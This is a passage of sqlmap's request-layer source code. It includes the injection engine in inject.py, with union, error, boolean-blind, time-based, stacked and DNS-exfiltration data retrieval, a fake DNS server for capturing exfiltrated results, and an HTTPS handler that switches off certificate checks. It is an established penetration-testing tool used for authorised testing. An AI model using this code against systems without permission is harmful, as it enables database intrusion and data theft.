ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) kb.originalCode = code if kb.originalCode is None else kb.originalCode kb.originalPage = page if kb.originalPage is None else kb.originalPage if kb.testMode: kb.testQueryCount += 1 if timeBasedCompare: return wasLastResponseDelayed() elif noteResponseTime: kb.responseTimes.setdefault(kb.responseTimeMode, []) kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration) if len(kb.responseTimes[kb.responseTimeMode]) > MAX_TIME_RESPONSES: kb.responseTimes[kb.responseTimeMode] = kb.responseTimes[kb.responseTimeMode][-MAX_TIME_RESPONSES // 2:] if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I) if message: kb.permissionFlag = True singleTimeWarnMessage("potential permission problems detected ('%s')" % message) headers = patchHeaders(headers) if content or response: return page, headers, code if getRatioValue: return comparison(page, headers, code, getRatioValue=False, pageLength=pageLength), comparison(page, headers, code, getRatioValue=True, pageLength=pageLength) else: return comparison(page, headers, code, getRatioValue, pageLength) def setHTTPHandlers(): # Cross-referenced function raise NotImplementedError ================================================ FILE: lib/request/direct.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re import time from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import extractExpectedValue from lib.core.common import getCurrentThreadData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import isListLike from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import CUSTOM_LOGGING from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import TIMEOUT_STATE from lib.core.settings import UNICODE_ENCODING from lib.utils.safe2bin import safecharencode from lib.utils.timeout import timeout def direct(query, content=True): select = True query = agent.payloadDirect(query) query = agent.adjustLateValues(query) threadData = getCurrentThreadData() if Backend.isDbms(DBMS.ORACLE) and query.upper().startswith("SELECT ") and " FROM " not in query.upper(): query = "%s FROM DUAL" % query for sqlTitle, sqlStatements in SQL_STATEMENTS.items(): for sqlStatement in sqlStatements: if query.lower().startswith(sqlStatement) and sqlTitle != "SQL SELECT statement": select = False break if select: if re.search(r"(?i)\ASELECT ", query) is None: query = "SELECT %s" % query if conf.binaryFields: for field in conf.binaryFields: field = field.strip() if re.search(r"\b%s\b" % re.escape(field), query): query = re.sub(r"\b%s\b" % re.escape(field), agent.hexConvertField(field), query) logger.log(CUSTOM_LOGGING.PAYLOAD, query) output = hashDBRetrieve(query, True, True) start = time.time() if not select and re.search(r"(?i)\bEXEC ", query) is None: timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None) elif not (output and ("%soutput" % conf.tablePrefix) not in query and ("%sfile" % conf.tablePrefix) not in query): output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None) if state == TIMEOUT_STATE.NORMAL: hashDBWrite(query, output, True) elif state == TIMEOUT_STATE.TIMEOUT: conf.dbmsConnector.close() conf.dbmsConnector.connect() elif output: infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20] logger.info(infoMsg) threadData.lastQueryDuration = calculateDeltaSeconds(start) if not output: return output elif content: if output and isListLike(output): if len(output[0]) == 1: output = [_[0] for _ in output] retVal = getUnicode(output, noneToNull=True) return safecharencode(retVal) if kb.safeCharEncode else retVal else: return extractExpectedValue(output, EXPECTED.BOOL) ================================================ FILE: lib/request/dns.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import binascii import os import re import socket import struct import threading import time class DNSQuery(object): """ >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." True >>> DNSQuery(b'\\x00')._query == b"" True """ def __init__(self, raw): self._raw = raw self._query = b"" try: type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits if type_ == 0: # Standard query i = 12 j = ord(raw[i:i + 1]) while j != 0: self._query += raw[i + 1:i + j + 1] + b'.' i = i + j + 1 j = ord(raw[i:i + 1]) except TypeError: pass def response(self, resolution): """ Crafts raw DNS resolution response packet """ retVal = b"" if self._query: retVal += self._raw[:2] # Transaction ID retVal += b"\x85\x80" # Flags (Standard query response, No error) retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query retVal += b"\xc0\x0c" # Pointer to domain name retVal += b"\x00\x01" # Type A retVal += b"\x00\x01" # Class IN retVal += b"\x00\x00\x00\x20" # TTL (32 seconds) retVal += b"\x00\x04" # Data length retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP return retVal class DNSServer(object): """ Used for making fake DNS resolution responses based on received raw request Reference(s): https://code.activestate.com/recipes/491264-mini-fake-dns-server/ https://web.archive.org/web/20150418152405/https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py """ def __init__(self): self._check_localhost() self._requests = [] self._lock = threading.Lock() try: self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM) except AttributeError: self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(("", 53)) self._running = False self._initialized = False def _check_localhost(self): response = b"" s = None try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.settimeout(1.0) s.connect(("", 53)) s.send(binascii.unhexlify("6509012000010000000000010377777706676f6f676c6503636f6d00000100010000291000000000000000")) # A www.google.com response = s.recv(512) except: pass finally: if s: s.close() if response and b"google" in response: raise socket.error("another DNS service already running on '0.0.0.0:53'") def pop(self, prefix=None, suffix=None): """ Returns received DNS resolution request (if any) that has given prefix/suffix combination (e.g. prefix.<query result>.suffix.domain) """ retVal = None if prefix and hasattr(prefix, "encode"): prefix = prefix.encode() if suffix and hasattr(suffix, "encode"): suffix = suffix.encode() with self._lock: for _ in self._requests: if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I): self._requests.remove(_) retVal = _.decode() break return retVal def run(self): """ Runs a DNSServer instance as a daemon thread (killed by program exit) """ def _(): try: self._running = True self._initialized = True while True: data, addr = self._socket.recvfrom(1024) _ = DNSQuery(data) self._socket.sendto(_.response("127.0.0.1"), addr) with self._lock: self._requests.append(_._query) except KeyboardInterrupt: raise finally: self._running = False thread = threading.Thread(target=_) thread.daemon = True thread.start() if __name__ == "__main__": server = None try: server = DNSServer() server.run() while not server._initialized: time.sleep(0.1) while server._running: while True: _ = server.pop() if _ is None: break else: print("[i] %s" % _) time.sleep(1) except socket.error as ex: if 'Permission' in str(ex): print("[x] Please run with sudo/Administrator privileges") else: raise except KeyboardInterrupt: os._exit(0) finally: if server: server._running = False ================================================ FILE: lib/request/httpshandler.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import re import socket from lib.core.common import filterNone from lib.core.common import getSafeExString from lib.core.compat import LooseVersion from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from lib.core.settings import PYVERSION from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib ssl = None try: import ssl as _ssl ssl = _ssl except ImportError: pass _protocols = filterNone(getattr(ssl, _, None) for _ in ("PROTOCOL_TLS_CLIENT", "PROTOCOL_TLSv1_2", "PROTOCOL_TLSv1_1", "PROTOCOL_TLSv1", "PROTOCOL_SSLv3", "PROTOCOL_SSLv23", "PROTOCOL_SSLv2")) _lut = dict((getattr(ssl, _), _) for _ in dir(ssl) if _.startswith("PROTOCOL_")) _contexts = {} class HTTPSConnection(_http_client.HTTPSConnection): """ Connection class that enables usage of newer SSL protocols. Reference: http://bugs.python.org/msg128686 NOTE: use https://check-tls.akamaized.net/ to check if (e.g.) TLS/SNI is working properly """ def __init__(self, *args, **kwargs): # NOTE: Dirty patch for https://bugs.python.org/issue38251 / https://github.com/sqlmapproject/sqlmap/issues/4158 if hasattr(ssl, "_create_default_https_context"): if None not in _contexts: _contexts[None] = ssl._create_default_https_context() kwargs["context"] = _contexts[None] self.retrying = False _http_client.HTTPSConnection.__init__(self, *args, **kwargs) def connect(self): def create_sock(): sock = socket.create_connection((self.host, self.port), self.timeout) if getattr(self, "_tunnel_host", None): self.sock = sock self._tunnel() return sock success = False # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni if hasattr(ssl, "SSLContext"): for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): sock = None try: sock = create_sock() if protocol not in _contexts: _contexts[protocol] = ssl.SSLContext(protocol) # Disable certificate and hostname validation enabled by default with PROTOCOL_TLS_CLIENT _contexts[protocol].check_hostname = False _contexts[protocol].verify_mode = ssl.CERT_NONE if getattr(self, "cert_file", None) and getattr(self, "key_file", None): _contexts[protocol].load_cert_chain(certfile=self.cert_file, keyfile=self.key_file) try: # Reference(s): https://askubuntu.com/a/1263098 # https://askubuntu.com/a/1250807 # https://git.zknt.org/mirror/bazarr/commit/7f05f932ffb84ba8b9e5630b2adc34dbd77e2b4a?style=split&whitespace=show-all&show-outdated= _contexts[protocol].set_ciphers("ALL@SECLEVEL=0") except (ssl.SSLError, AttributeError): pass hostname = self.host if conf.host: hostname = conf.host else: for header, value in conf.httpHeaders: if header.lower() == "host": hostname = value break hostname = hostname if re.search(r"\A[\d.]+\Z", hostname or "") is None else None result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=hostname) if result: success = True self.sock = result _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, _http_client.BadStatusLine, AttributeError) as ex: self._tunnel_host = None if sock: sock.close() logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) elif hasattr(ssl, "wrap_socket"): for protocol in _protocols: try: sock = create_sock() _ = ssl.wrap_socket(sock, keyfile=getattr(self, "key_file"), certfile=getattr(self, "cert_file"), ssl_version=protocol) if _: success = True self.sock = _ _protocols.remove(protocol) _protocols.insert(0, protocol) break else: sock.close() except (ssl.SSLError, socket.error, _http_client.BadStatusLine) as ex: self._tunnel_host = None logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) if not success: errMsg = "can't establish SSL connection" # Reference: https://docs.python.org/2/library/ssl.html if LooseVersion(PYVERSION) < LooseVersion("2.7.9"): errMsg += " (please retry with Python >= 2.7.9)" if kb.sslSuccess and not self.retrying: self.retrying = True for _ in xrange(conf.retries): try: self.connect() except SqlmapConnectionException: pass else: return raise SqlmapConnectionException(errMsg) else: kb.sslSuccess = True class HTTPSHandler(_urllib.request.HTTPSHandler): def https_open(self, req): return self.do_open(HTTPSConnection if ssl else _http_client.HTTPSConnection, req) ================================================ FILE: lib/request/inject.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import re import time from lib.core.agent import agent from lib.core.bigarray import BigArray from lib.core.common import applyFunctionRecursively from lib.core.common import Backend from lib.core.common import calculateDeltaSeconds from lib.core.common import cleanQuery from lib.core.common import expandAsteriskForColumns from lib.core.common import extractExpectedValue from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers from lib.core.common import getTechnique from lib.core.common import getTechniqueData from lib.core.common import hashDBRetrieve from lib.core.common import hashDBWrite from lib.core.common import initTechnique from lib.core.common import isDigit from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import parseUnionPage from lib.core.common import popValue from lib.core.common import pushValue from lib.core.common import randomStr from lib.core.common import readInput from lib.core.common import setTechnique from lib.core.common import singleTimeWarnMessage from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.decorators import lockedmethod from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapUserQuitException from lib.core.settings import GET_VALUE_UPPERCASE_KEYWORDS from lib.core.settings import INFERENCE_MARKER from lib.core.settings import MAX_TECHNIQUES_PER_VALUE from lib.core.settings import SQL_SCALAR_REGEX from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData from lib.request.connect import Connect as Request from lib.request.direct import direct from lib.techniques.blind.inference import bisection from lib.techniques.blind.inference import queryOutputLength from lib.techniques.dns.test import dnsTest from lib.techniques.dns.use import dnsUse from lib.techniques.error.use import errorUse from lib.techniques.union.use import unionUse from thirdparty import six def _goDns(payload, expression): value = None if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None: if kb.dnsTest is None: dnsTest(payload) if kb.dnsTest: value = dnsUse(payload, expression) return value def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False, field=None): start = time.time() value = None count = 0 value = _goDns(payload, expression) if payload is None: return None if value is not None: return value timeBasedCompare = (getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) if timeBasedCompare and conf.threads > 1 and kb.forceThreads is None: msg = "multi-threading is considered unsafe in " msg += "time-based data retrieval. Are you sure " msg += "of your choice (breaking warranty) [y/N] " kb.forceThreads = readInput(msg, default='N', boolean=True) if not (timeBasedCompare and kb.dnsTest): if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads): if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID): alias = randomStr(lowercase=True, seed=hash(expression)) expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example expression += " AS %s" % alias else: expression = "SELECT %s FROM (%s)" % (field, expression) if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields or Backend.getIdentifiedDbms() in (DBMS.RAIMA,): nulledCastedField = agent.nullAndCastField(field) injExpression = expression.replace(field, nulledCastedField, 1) else: injExpression = expression length = queryOutputLength(injExpression, payload) else: length = None kb.inferenceMode = True count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump) kb.inferenceMode = False if not kb.bruteMode: debugMsg = "performed %d quer%s in %.2f seconds" % (count, 'y' if count == 1 else "ies", calculateDeltaSeconds(start)) logger.debug(debugMsg) return value def _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=None, charsetType=None, firstChar=None, lastChar=None, dump=False): outputs = [] origExpr = None for field in expressionFieldsList: output = None if field.startswith("ROWNUM "): continue if isinstance(num, int): origExpr = expression expression = agent.limitQuery(num, expression, field, expressionFieldsList[0]) if "ROWNUM" in expressionFieldsList: expressionReplaced = expression else: expressionReplaced = expression.replace(expressionFields, field, 1) output = _goInference(payload, expressionReplaced, charsetType, firstChar, lastChar, dump, field) if isinstance(num, int): expression = origExpr outputs.append(output) return outputs def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False): """ Retrieve the output of a SQL query characted by character taking advantage of an blind SQL injection vulnerability on the affected parameter through a bisection algorithm. """ initTechnique(getTechnique()) query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) count = None startLimit = 0 stopLimit = None outputs = BigArray() if not unpack: return _goInference(payload, expression, charsetType, firstChar, lastChar, dump) _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression) rdbRegExp = re.search(r"RDB\$GET_CONTEXT\([^)]+\)", expression, re.I) if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD): expressionFieldsList = [expressionFields] if len(expressionFieldsList) > 1: infoMsg = "the SQL query provided has more than one field. " infoMsg += "sqlmap will now unpack it into distinct queries " infoMsg += "to be able to retrieve the output even if we " infoMsg += "are going blind" logger.info(infoMsg) # If we have been here from SQL query/shell we have to check if # the SQL query might return multiple entries and in such case # forge the SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table # can return multiple entries if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I) and hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query"): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) if limitCond: test = True if stopLimit is None or stopLimit <= 1: if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]): test = False if test: # Count the number of SQL query entries output countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0] countedExpression = expression.replace(expressionFields, countFirstField, 1) if " ORDER BY " in countedExpression.upper(): _ = countedExpression.upper().rindex(" ORDER BY ") countedExpression = countedExpression[:_] if not stopLimit: count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar) if isNumPosStrValue(count): count = int(count) if batch or count == 1: stopLimit = count else: message = "the SQL query provided can return " message += "%d entries. How many " % count message += "entries do you want to retrieve?\n" message += "[a] All (default)\n[#] Specific number\n" message += "[q] Quit" choice = readInput(message, default='A').upper() if choice == 'A': stopLimit = count elif choice == 'Q': raise SqlmapUserQuitException elif isDigit(choice) and int(choice) > 0 and int(choice) <= count: stopLimit = int(choice) infoMsg = "sqlmap is now going to retrieve the " infoMsg += "first %d query output entries" % stopLimit logger.info(infoMsg) elif choice in ('#', 'S'): message = "how many? " stopLimit = readInput(message, default="10") if not isDigit(stopLimit): errMsg = "invalid choice" logger.error(errMsg) return None else: stopLimit = int(stopLimit) else: errMsg = "invalid choice" logger.error(errMsg) return None elif count and not isDigit(count): warnMsg = "it was not possible to count the number " warnMsg += "of entries for the SQL query provided. " warnMsg += "sqlmap will assume that it returns only " warnMsg += "one entry" logger.warning(warnMsg) stopLimit = 1 elif not isNumPosStrValue(count): if not count: warnMsg = "the SQL query provided does not " warnMsg += "return any output" logger.warning(warnMsg) return None elif (not stopLimit or stopLimit == 0): return None try: try: for num in xrange(startLimit or 0, stopLimit or 0): output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) outputs.append(output) except OverflowError: errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit) errMsg += "with switch '--fresh-queries'" raise SqlmapDataException(errMsg) except KeyboardInterrupt: print() warnMsg = "user aborted during dumping phase" logger.warning(warnMsg) return outputs elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith("SELECT ") and " FROM " not in expression.upper(): expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()] outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump) return ", ".join(output or "" for output in outputs) if not isNoneValue(outputs) else None def _goBooleanProxy(expression): """ Retrieve the output of a boolean based SQL query """ initTechnique(getTechnique()) if conf.dnsDomain: query = agent.prefixQuery(getTechniqueData().vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) output = _goDns(payload, expression) if output is not None: return output vector = getTechniqueData().vector vector = vector.replace(INFERENCE_MARKER, expression) query = agent.prefixQuery(vector) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) output = hashDBRetrieve(expression, checkConf=True) if output is None: output = Request.queryPage(payload, timeBasedCompare=timeBasedCompare, raise404=False) if output is not None: hashDBWrite(expression, output) return output def _goUnion(expression, unpack=True, dump=False): """ Retrieve the output of a SQL query taking advantage of an union SQL injection vulnerability on the affected parameter. """ output = unionUse(expression, unpack=unpack, dump=dump) if isinstance(output, six.string_types): output = parseUnionPage(output) return output @lockedmethod @stackedmethod def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms(): if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() singleTimeWarnMessage(warnMsg) conf.hexConvert = False else: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue for keyword in GET_VALUE_UPPERCASE_KEYWORDS: expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): setTechnique(PAYLOAD.TECHNIQUE.UNION) kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion if expected == EXPECTED.BOOL: # Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")): forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY) value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join(filterNone(key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): setTechnique(PAYLOAD.TECHNIQUE.TIME) else: setTechnique(PAYLOAD.TECHNIQUE.STACKED) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted: if conf.abortOnEmpty: errMsg = "aborting due to empty data retrieval" logger.critical(errMsg) raise SystemExit else: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else "" singleTimeWarnMessage(warnMsg) # Dirty patch (MSSQL --binary-fields with 0x31003200...) if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields: def _(value): if isinstance(value, six.text_type): if value.startswith(u"0x"): value = value[2:] if value and len(value) % 4 == 0: candidate = "" for i in xrange(len(value)): if i % 4 < 2: candidate += value[i] elif value[i] != '0': candidate = None break if candidate: value = candidate return value value = applyFunctionRecursively(value, _) # Dirty patch (safe-encoded unicode characters) if isinstance(value, six.text_type) and "\\x" in value: try: candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) if "\\x" not in candidate: value = candidate except: pass return extractExpectedValue(value, expected) def goStacked(expression, silent=False): if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: setTechnique(PAYLOAD.TECHNIQUE.STACKED) else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): _ = getTechniqueData(technique) if _ and "stacked" in _["title"].lower(): setTechnique(technique) break expression = cleanQuery(expression) if conf.direct: return direct(expression) query = agent.prefixQuery(";%s" % expression) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload, content=False, silent=silent, noteResponseTime=False, timeBasedCompare="SELECT" in (payload or "").upper()) def checkBooleanExpression(expression, expectingNone=True): return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=expectingNone) ================================================ FILE: lib/request/methodrequest.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from lib.core.convert import getText from thirdparty.six.moves import urllib as _urllib class MethodRequest(_urllib.request.Request): """ Used to create HEAD/PUT/DELETE/... requests with urllib """ def set_method(self, method): self.method = getText(method.upper()) # Dirty hack for Python3 (may it rot in hell!) def get_method(self): return getattr(self, 'method', _urllib.request.Request.get_method(self)) ================================================ FILE: lib/request/pkihandler.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ ssl = None try: import ssl as _ssl ssl = _ssl except ImportError: pass from lib.core.data import conf from lib.core.common import getSafeExString from lib.core.exception import SqlmapConnectionException from thirdparty.six.moves import http_client as _http_client from thirdparty.six.moves import urllib as _urllib class HTTPSPKIAuthHandler(_urllib.request.HTTPSHandler): def __init__(self, auth_file): _urllib.request.HTTPSHandler.__init__(self) self.auth_file = auth_file def https_open(self, req): return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=None): if timeout is None: timeout = conf.timeout if not hasattr(_http_client, "HTTPSConnection"): raise SqlmapConnectionException("HTTPS support is not available in this Python build") try: if ssl and hasattr(ssl, "SSLContext") and 